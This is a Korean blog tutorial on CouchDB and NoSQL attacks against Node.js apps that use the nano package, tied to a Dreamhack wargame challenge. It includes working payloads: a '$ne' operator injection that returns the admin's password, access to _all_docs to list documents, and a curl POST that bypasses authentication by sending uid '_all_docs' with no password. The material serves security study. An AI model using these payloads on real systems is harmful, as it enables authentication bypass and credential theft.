본문 바로가기
프로그래밍/해킹

CouchDB & 관련 공격

by 만디기 2024. 7. 3.

- CouchDB는 키와 값이 하나의 쌍을 이루는 데이터를 저장하며, JSON 객체 형태인 도큐먼트를 저장한다.

- 이는 HTTP 기반의 서버로 동작하며 REST API 형식으로 HTTP 메소드를 사용해 요청을 받고, 처리한다.

1. couchDB 요청
$ curl http://127.0.0.1:5984/
{"couchdb":"Welcome","version":"3.1.0","git_sha":"ff0feea20","uuid":"c7592f66bba3c6ebc38f0f4dcd374d68","features":["access-ready","partitioned","pluggable-storage-engines","reshard","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}

2. 데이터 삽입
$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}

3. 데이터 조회
$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}

 

 

- Server 구성 요소

/ 인스턴스에 대한 메타 정보를 반환합니다.
/_all_dbs 인스턴스의 데이터베이스 목록을 반환합니다.
/_utils 관리자 페이지 (Fauxton Administration Interface)로 이동합니다.

 

- DataBase 구성 요소

/db 지정한 데이터베이스에 대한 정보를 반환합니다.
/{db}/_all_docs 지정한 데이터베이스에 포함된 모든 도큐먼트를 반환합니다.
/{db}/_find 지정한 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환합니다.

 

 

- CouchDB 관련 공격

- NodeJS에서 CouchDB를 사용할 때에는 주로 아파치에서 개발한 nano 패키지를 사용한다.

- nano 패키지는 get 함수를 사용하여 _id 값을 통해 데이터를 조회하거나 find 함수를 통해 쿼리 기반으로 데이터를 가져올 수 있다.

- get 함수를 통해 데이터를 조회하는 경우 앞서 배운 특수 구성 요소인 _all_docs, _db 등에 접근해 데이터베이스의 정보를 획득할 수 있다.

- find 함수를 사용하는 경우에는 연산자와 같이 객체 타입의 값을 입력해 개발자가 의도하지 않은 행위를 수행할 수 있다.

 

(1)  _all_docs 페이지 접근

1. 정상 접근
> require('nano')('http://{username}:{password}@localhost:5984').use('users').get('guest', function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
err:  null ,result:  { _id: 'guest',
  _rev: '1-22a458e50cf189b17d50eeb295231896',
  upw: 'guest' }
*/


2. _all_docs 페이지 접근
> require('nano')('http://{username}:{password}@localhost:5984').use('users').get('_all_docs', function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
err:  null ,result:  { total_rows: 3,
  offset: 0,
  rows:
   [ { id: '0c1371b65480420e678d00c2770003f3',
       key: '0c1371b65480420e678d00c2770003f3',
       value: [Object] },
     { id: '0c1371b65480420e678d00c277001712',
       key: '0c1371b65480420e678d00c277001712',
       value: [Object] },
     { id: 'guest', key: 'guest', value: [Object] } ] }
*/

 

(2)  find 함수를 통한 연산자 공격

1. 정상적인 쿼리 전송
> require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'guest', 'upw': 'guest'}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
undefined
err:  null ,result:  { docs:
   [ { _id: 'guest',
       _rev: '1-22a458e50cf189b17d50eeb295231896',
       upw: 'guest' } ],
  bookmark:
   'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzppemFpeAJDlgkgjhLADZAxEP',
  warning:
   'No matching index found, create an index to optimize query time.' }
*/


2. 연산자를 포함한 공격 쿼리 전송
> require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'admin', 'upw': {'$ne': ''}}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
undefined
err:  null ,result:  { docs:
   [ { _id: 'admin',
       _rev: '2-142ddb6e06fd298e86fa54f9b3b9d7f2',
       upw: 'secretpassword' } ],
  bookmark:
   'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzJqbkZuaBJDlgkgjhLADVNBDR',
  warning:
   'No matching index found, create an index to optimize query time.' }
*/

 

(3)  admin uid 조회

1. 정상 요청
$ curl -i http://{username}:{password}@localhost:5984/users/admin
HTTP/1.1 200 OK
Cache-Control: must-revalidate
Content-Length: 83
Content-Type: application/json
Date: Tue, 19 May 2020 16:47:49 GMT
ETag: "2-142ddb6e06fd298e86fa54f9b3b9d7f2"
Server: CouchDB/3.1.0 (Erlang OTP/20)
X-Couch-Request-ID: 028e8b621c
X-CouchDB-Body-Time: 0
{"_id":"admin","_rev":"2-142ddb6e06fd298e86fa54f9b3b9d7f2","upw":"secretpassword"}


2. 유효하지 않은 uid 입력
$ curl -i http://{username}:{password}@localhost:5984/users/undefined_user
HTTP/1.1 404 Object Not Found
Cache-Control: must-revalidate
Content-Length: 41
Content-Type: application/json
Date: Tue, 19 May 2020 17:07:14 GMT
Server: CouchDB/3.1.0 (Erlang OTP/20)
X-Couch-Request-ID: be30c84acd
X-CouchDB-Body-Time: 0
{"error":"not_found","reason":"missing"}


3. _all_docs를 이용한 인증 우회
=> 애플리케이션 내부에서는 _all_docs에서 출력하는 내용을 result 변수에 저장한다. 
그러나 해당 페이지에서는 키 명칭이 upw인 데이터를 반환하지 않기 때문에 result.upw에는 undefined가 저장된다. 
요청을 다시 확인해보면 upw를 별도로 전달하지 않았기 때문에 req.body.upw 또한 undefined가 되고, 결국 인증 조건을 만족하고 세션을 획득할 수 있게 된다.
$ curl -i http://{username}:{password}@localhost:5984/users/_all_docs
HTTP/1.1 200 OK
Cache-Control: must-revalidate
Content-Type: application/json
Date: Tue, 19 May 2020 17:24:32 GMT
Server: CouchDB/3.1.0 (Erlang OTP/20)
Transfer-Encoding: chunked
X-Couch-Request-ID: 43c8ca548f
X-CouchDB-Body-Time: 0
{"total_rows":1,"offset":0,"rows":[
{"id":"admin","key":"admin","value":{"rev":"2-142ddb6e06fd298e86fa54f9b3b9d7f2"}}
]}

 

- 관련 문제

https://dreamhack.io/wargame/challenges/419/

- nano 모듈의 get 함수를 이용하여 DB 내용을 불러오고 있는데, 애플리케이션에서 입력 검사를 따로 하지 않으므로 이를 이용해 공격이 가능하다.

- uid에 _all_docs를 넣고 upw 값을 아예 넣지 않으면, 쿼리가 정상 실행된다.

1. 브라우저
uid에는 _all_docs를 넣고, upw에 undefined 값이 들어갈 수 있도록 upw 입력 창을 삭제하고 실행시킨다.

2. curl
curl -X POST (서버 주소)/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs"}'

'프로그래밍 > 해킹' 카테고리의 다른 글

ExploitTech: Command Injection for Linux  (0) 2024.07.04
phpMyRedis  (0) 2024.07.03
Redis 중복 키 사용 관련 공격  (0) 2024.07.03
MongoDB 기본 문법 & 취약점  (1) 2024.07.03
Exercise: SQL Injection Bypass WAF  (0) 2024.07.02